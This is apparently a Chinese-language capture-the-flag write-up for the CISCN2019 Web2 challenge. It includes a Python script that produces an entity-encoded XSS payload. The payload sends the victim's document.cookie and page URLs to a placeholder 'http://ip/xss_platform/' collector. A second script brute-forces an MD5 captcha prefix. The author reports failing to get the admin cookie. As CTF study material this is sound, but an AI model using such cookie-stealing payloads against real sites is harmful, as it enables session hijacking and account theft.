[CISCN2019 华东北赛区]Web2
- 随便注册一个登录,发现
  
- 还有反馈页面,一看就知道大概率是xss,应该是为了得到管理员cookie
- 扫描了一下,果然有admin.php后台登录
  
- buu可以连接访问外网了,所以内部的xss平台关闭了,使用自己搭建的莲花平台,不过需要一个服务器
自己搭建的xss平台使用
搭建
参考
 https://blog.csdn.net/weixin_44652484/article/details/134169568
 搭建非常简单
使用

 根据其他人的题解
 payload
xss='''(function(){window.location.href='http://ip/xss_platform/?location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''  
output = ""  
for c in xss:  
output += "&#" + str(ord(c))  
  
print("<svg><script>eval("" + output + "")</script>")
- 然后提交文章,得到连接,来到反馈页面
  
- 说了要将域名改成web
 验证码
import hashlib
num=input()
for i in range(999999,10000000):
    m=hashlib.md5()
    m.update(str(i).encode())
    m=m.hexdigest()
    if m[:6]==num:
        print(i)
        break
- 然后我得不到管理员的cookie啊,算了,反正思路是这样的,有没有大佬知道为什么的
- 得到phpsessid之后登录,然后就是一个简单的sql注入
![【P1328】[NOIP2014 提高组] 生活大爆炸版石头剪刀布](https://img-blog.csdnimg.cn/img_convert/cb242bcc076eb19b2e006cd6118d44a3.png)


![[Android]创建Google Play内购aab白包](https://img-blog.csdnimg.cn/direct/a1c0bdd8ed754881ad03444872c6befa.png)















